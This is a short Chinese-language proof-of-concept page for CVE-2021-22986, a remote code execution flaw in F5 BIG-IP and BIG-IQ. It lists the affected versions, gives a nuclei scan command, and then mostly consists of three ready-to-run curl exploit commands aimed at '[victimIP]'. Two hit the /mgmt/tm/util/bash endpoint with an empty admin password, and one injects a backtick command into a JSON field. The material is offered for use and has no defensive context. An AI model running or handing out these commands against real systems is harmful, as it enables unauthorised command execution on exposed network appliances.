POC 远程代码执行（CVE-2021-22986 ）

## BIG-IP：

```http
BIG-IP：
16.0.0-16.0.1
15.1.0-15.1.2
14.1.0-14.1.3.1
13.1.0-13.1.3.5
12.1.0-12.1.5.2

BIG-IQ：
7.1.0-7.1.0.2
7.0.0-7.0.0.1
6.0.0-6.1.0
```

## POC

```bash
nuclei -tags bigip -t cves/ -l urls.txt
```

## EXP

poc1:

```
curl -su admin: -H "Content-Type: application/json" http://[victimIP]/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}'
```

EXP2:
```
curl -ks https://[victimIP]/mgmt/shared/authn/login -d '{"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}'
```

EXP3:
```
curl -ksu admin:[redacted] https://[vimtimIP]/mgmt/tm/access/bundle-install-tasks -d '{"filePath":"id"}'
```

[@wugeej](https://twitter.com/wugeej/status/1372392693989445635)